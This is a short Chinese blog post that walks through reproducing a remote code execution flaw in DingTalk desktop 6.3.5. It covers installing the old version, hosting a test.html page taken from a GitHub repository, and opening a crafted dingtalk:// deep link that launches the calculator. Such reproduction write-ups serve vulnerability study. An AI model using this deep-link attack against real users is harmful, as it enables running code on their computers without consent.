复现某智能移动办公平台RCE

复现版本

• 某智能移动办公平台
• 版本号：6.3.5
• 复现环境：Windows10

漏洞复现

1. 下载版本号6.3.5的软件并安装，链接：https://dtapp-pub.dingtalk.com/dingtalk-desktop/win_installer/Release/DingTalk_v6.3.5.11308701.exe
2. 登录成功后首先关闭自动更新
   
3. 下载https://github.com/crazy0x70/dingtalk-RCE中的test.html，并上传到web服务器
   
4. 在浏览器中输入dingtalk://dingtalkclient/page/link?url=192.168.3.25/test.html&pc_slide=true，其中的url参数自行修改为搭建的web服务器
5. 访问上述地址即可弹计算器
   

《复现某智能移动办公平台RCE》链接：https://xdym11235.com/archives/164.html
具体版权规定详见侧栏版权说明页面